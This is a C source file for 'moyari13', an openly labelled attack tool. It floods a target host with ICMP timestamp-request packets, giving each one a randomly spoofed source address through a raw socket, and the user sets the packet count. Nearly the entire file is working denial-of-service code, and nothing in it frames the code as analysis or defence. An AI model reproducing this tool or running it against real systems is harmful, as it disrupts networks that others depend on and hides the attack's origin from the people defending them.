/* moyari13.c   by R00t Zer0( defcon0@ugtop.com) */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
 

#define IP_SIZE         sizeof( struct iphdr )
 
 

u_short
in_cksum( u_short *addr, int len )
    {
    int     nleft   = len;
    u_short *w      = addr;
    int     sum     = 0;
    u_short answer  = 0;

    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while( nleft > 1 )
        {
        sum += *w++;
        nleft -= 2;
        }

    /* mop up an odd byte, if necessary */
    if (nleft == 1)
        {
        *( u_char *)( &answer ) = *( u_char *)w;
        sum += answer;
        }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum  = ( sum >> 16 ) + ( sum & 0xffff );    /* add hi 16 to low 16 */
    sum += ( sum >> 16 );                       /* add carry           */
    answer = ~sum;                              /* truncate to 16 bits */
    return( answer );
    }
 
 
 

int
send_icmp_packet( int sock_send, u_long src_addr, u_long dst_addr )
    {
    char    *packet, *cksum;        /* packet, cksum    */
    int     send_status, loop;

    struct  iphdr       *ip;        /* ip header        */
    struct  icmp        *icp;       /* icmp header      */
    struct  sockaddr_in from;       /* sockaddr         */
    struct  sockaddr_in to;         /* sockaddr         */
 

    /************************************/
    /* get and init packet_memory_area  */
    /************************************/
    packet  = ( char *)malloc( IP_SIZE + 20 );
    ip      = ( struct iphdr *)( packet );
    icp     = ( struct  icmp *)( packet + IP_SIZE );
    memset( packet, 0, IP_SIZE + 20 );

    /****************/
    /* IP header    */
    /****************/
    ip->saddr       = src_addr;
    ip->daddr       = dst_addr;
    ip->version     = 4;
    ip->ihl         = IP_SIZE / 4;
    ip->ttl         = 255;
    ip->protocol    = IPPROTO_ICMP;
    ip->id          = 0x01;
    ip->tot_len     = htons( IP_SIZE + 20 );
    ip->check       = in_cksum( (u_short *)ip, IP_SIZE );

    /****************/
    /*  ICMP header */
    /****************/
    icp->icmp_type  = 13;
    icp->icmp_code  = 0;
    icp->icmp_cksum = 0;

    /************************************/
    /* ICMP_id, ICMP_sequence = 0xffff  */
    /************************************/
    for( loop = IP_SIZE + 4; loop < IP_SIZE + 4 + 4; loop++ )
        *( packet + loop ) = 0xff;

    /********************************************************/
    /* ICMP_type13_otime/rtime/ttime = rand() % 0xffffffff  */
    /********************************************************/
    for( loop = IP_SIZE + 4 + 4; loop < IP_SIZE + 4 + 4 + 12; loop++ )
        *( packet + loop ) = rand() % 0xff;

    /************************/
    /* set ICMP_checksum    */
    /************************/
    icp->icmp_cksum = in_cksum( ( u_short *)( packet + IP_SIZE ),
                                4 + 16 );
 

    /********************/
    /* send 1 packets   */
    /********************/
    bzero( (char *)&to, sizeof( to ) );
    to.sin_family           = AF_INET;
    to.sin_addr.s_addr      = ip->daddr;

    send_status = sendto( sock_send, packet, IP_SIZE + 20, 0,
                          ( struct sockaddr *)&to, sizeof( struct sockaddr ) );
 

    free( packet );

    return( send_status );
    }
 
 
 

int
main( int argc, char *argv[] )
    {
    char    tmp_buffer[ 1024 ];         /* tmp_buffer                   */
    int     loop, loop2;                /* loop counter                 */
    int     sock_send;                  /* socket_fd                    */
    u_long  src_addr, dst_addr;         /* src/dst addr                 */
    time_t  t;                          /* init_rand_seed(time)         */

    struct  hostent     *host;          /* hostinfo(hostent)            */
    struct  sockaddr_in addr;           /* (sockaddr_in)addr            */
 

    /************************/
    /*  print usage(error)  */
    /************************/
    if( argc != 3 )
        {
        printf( "Usage : %s <dst addr> <count>\n", argv[0] );
        exit( -1 );
        }
 

    /********************/
    /*  init rand_seed  */
    /********************/
    t = time( 0 );
    srand( ( u_int )t );
 

    /********************/
    /* Get src_address  */
    /********************/
    gethostname( tmp_buffer, 128 );
    host = gethostbyname( tmp_buffer );
    if( host == NULL )
        {
        printf( "Can't get this machine's hostname\n" );
        exit( -1 );
        }
    memcpy( &src_addr, host->h_addr, 4 );

    /********************/
    /* Get dst_address  */
    /********************/
    memset( &addr, 0, sizeof( struct sockaddr_in ) );
    addr.sin_family         = AF_INET;
    addr.sin_addr.s_addr    = inet_addr( argv[1] );
    if( addr.sin_addr.s_addr == -1 )
        {
        host = gethostbyname( argv[1] );
        if( host == NULL )
            {
            printf( "Unknown host %s.\n", argv[1] );
            exit( -1 );
            }
        addr.sin_family = host->h_addrtype;
        memcpy( ( caddr_t )&addr.sin_addr, host->h_addr, host->h_length );
        }
    memcpy( &dst_addr, ( char *)&addr.sin_addr.s_addr, 4 );

    /********************/
    /* open RAW_socket  */
    /********************/
    if( ( sock_send = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) == -1)
        {
        perror( "Getting raw send socket" );
        exit( -1 );
        }
 

#if 0   /* fake */
    src_addr = inet_addr( "89.89.89.89" );
#endif
 

    /****************************/
    /*  - m o - y a - r i -     */
    /****************************/
    printf( "[ moyari13 ( TimeStump request) Attack ]\n\n" );
    printf( "sending..." );

    for( loop = 0; loop < atoi( argv[2] ); loop++ )
        {
#if 1   /* spoof( random ) */
        src_addr = rand() % 0xffffffff;
#endif
        send_icmp_packet( sock_send, src_addr, dst_addr );
        printf( "." );
        fflush( stdout );
        }

    printf( "\nDone.\n" );
    close( sock_send );

    exit( 0 );
    }